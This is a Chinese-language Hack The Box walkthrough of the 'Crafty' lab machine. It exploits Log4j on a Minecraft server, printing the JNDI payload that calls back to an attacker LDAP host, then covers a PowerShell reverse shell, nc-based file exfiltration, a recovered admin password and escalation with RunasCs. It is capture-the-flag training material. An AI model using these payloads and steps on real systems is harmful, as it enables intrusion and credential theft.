🤔今天翻HTB发现有一个很有意思的靶机,包含Log4j漏洞。
难度是Easy,但对于没接触过Windows后渗透的新手来说确实不太Easy
拿到IP先扫端口
sudo nmap -p- --min-rate 10000 -sV -A 10.129.9.171 -oA nmapscan/ports
扫描结果如下
发现有域名crafty.htb 在攻击机hosts中加入条目
sudo sed -i '1i 10.129.9.171 crafty.htb' /etc/hosts
确认下是否成功添加
head -n 1 /etc/hosts
浏览器打开域名
发现下方还有一个域名,将此域名也加入hosts
简单看了下web,并没有什么可利用的点,所以从Minecraft游戏服务器入手
通过上次的扫描结果来看,服务器运行的游戏版本是1.16.5,我们在搜索引擎中搜索一下关于此版本的漏洞
https://github.com/kozmer/log4j-shell-poc
使用此复现脚本
先看下poc的代码,防止由于环境问题导致攻击不成功。
代码中反弹的是/bin/sh的shell,由于我们的靶机是Windows机器,所以这里要修改为powershell.exe 在较新版本的Windows中powershell进行后渗透要比cmd强很多。
在下翻的时候发现需要调用特定版本的java程序,poc的作者给出了文件下载地址。
下载
这里下载需要登录,我们使用BugMeNot提供的共享账号进行登录。
顺利下载
将下载好的文件解压进poc目录
同步,开启监听
这里我们随便找一个可以登录多人游戏的启动器,登入游戏
在聊天框中发送poc给出的Log4j Payload
${jndi:ldap://10.10.14.8:1389/a}
反弹shell成功
拿到shell先看权限,发现是以普通用户权限运行的游戏服务器
这里我们先进游戏目录看一下
由于环境是Powershell,这里我们用gci
命令来获取目录。
进入插件目录查看文件列表
这里我们使用nc导出文件。
攻击机开个端口用于传递nc.exe
普通用户是无法写入此目录的
所以我们cd 到C:ProgramData目录,此目录任何用户都可写入
创建个test文件夹
成功下载
攻击机上开启nc传输文件的监听端口
nc -lp 7997 > playercounter-1.0-SNAPSHOT.jar
将文件下载后,用Java逆向工具 jd-gui进行逆向
🤔猜测此密文为管理员账户的密码 s67u84zKq8IXw
在Powershell中使用runas命令
runas /user:administrator powershell
发现在此nc环境下压根没机会输入密码 🤣🤣🤣
用其他方式反弹powershell
这里我用RunasCs来反弹管理员的Powershell
反弹成功!✌️
获取最终FLAG🏆
至此,全部流程结束👌
By Ares信息安全
原文始发于微信公众号(Ares信息安全):Hack The Box - Crafty
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论